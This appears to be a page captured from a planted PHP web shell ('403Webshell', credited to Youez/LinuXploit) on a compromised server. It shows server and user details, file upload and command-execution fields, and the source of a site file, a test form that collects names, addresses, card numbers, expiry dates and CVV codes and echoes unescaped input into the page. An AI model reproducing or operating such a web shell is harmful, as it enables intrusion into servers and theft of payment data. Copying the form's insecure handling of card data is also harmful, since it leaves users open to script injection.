403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/testCreateUser2.php
<?
require_once($_SERVER['DOCUMENT_ROOT'].'/lcapi/inc/LCAPI.php');

$fields = array(
	'fname',
	'lname',
	'address',
	'city',
	'state',
	'zip',
	'country',
	'phone',
	'email',
	'cc_num',
	'cc_exp_month',
	'cc_exp_year',
	'cc_cvv',
	'site',
	'description',
	'billing_amount',
	'rebill_amount',
	'next_bill_date',
	'referer',
	'tc',
	'sid',
	'cid',
	'ipaddress'
	);

if (isset($_POST['submitted'])) {
	$formfields = array();
	foreach ($fields as $field) {
		$formfields[$field] = $_POST[$field];
	}
	
	$query = "";
	if(!empty($_POST['subscriptions'])) {
		
		$query = "?";
		foreach($_POST['subscriptions'] as $subscription_id) {
			$query .= "subscriptions[]=".$subscription_id."&"; 
			
			if($subscription_id == '2') 
				$formfields['email_type'] = "Confirmation Subscription Id 2";
		}
	}
	
	$lcapi = new LCAPI();
	$url = "https://www.learningcentersupport.com/lcapi/CreateUserTest.php"; 
	$result = $lcapi->PostFields($url.$query, $formfields); 
	if ($result->status != 'Success') {
		$errormessage = $result->errormessage;
	} else {
		echo "Success! UserID: " . $result->userid;
		exit();
	}
}
?>
<html>
	<head>
		<title>Test Page for <?=$url;?></title>
	</head>
	<body>
		<form action="<?=$_SERVER['SCRIPT_NAME'];?>" method="POST">
			<table border="0" cellpadding="2" cellspacing="2" align="center">
				<? if (isset($errormessage)) {
						echo "<tr style=\"color:#fff;background:#ff0000;\"><td colspan=\"2\">$errormessage</td></tr>";
					}

					foreach ($fields as $field) {
						echo "<tr><td>$field</td><td><input type=\"text\" name=\"$field\" value=\"{$_POST[$field]}\"></td></tr>";
					}
				?>
				<tr>
					<td>Subscriptions</td>
					<td>
						<input type="checkbox" name="subscriptions[]" value="1" <?=@ ($_POST['subscriptions'][0] == '1') ? "checked" : null; ?> /> Subscription Id: 1<br/>
						<input type="checkbox" name="subscriptions[]" value="2" <?=@ ($_POST['subscriptions'][1] == '2') ? "checked" : null; ?> /> Subscription Id: 2 
					</td>
				</tr>
				<tr>
					<td colspan="2" align="center"><input type="submit" value="Create Account"></td>
				</tr>
			</table>
			<input type="hidden" name="submitted" value="submitted">
		</form>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit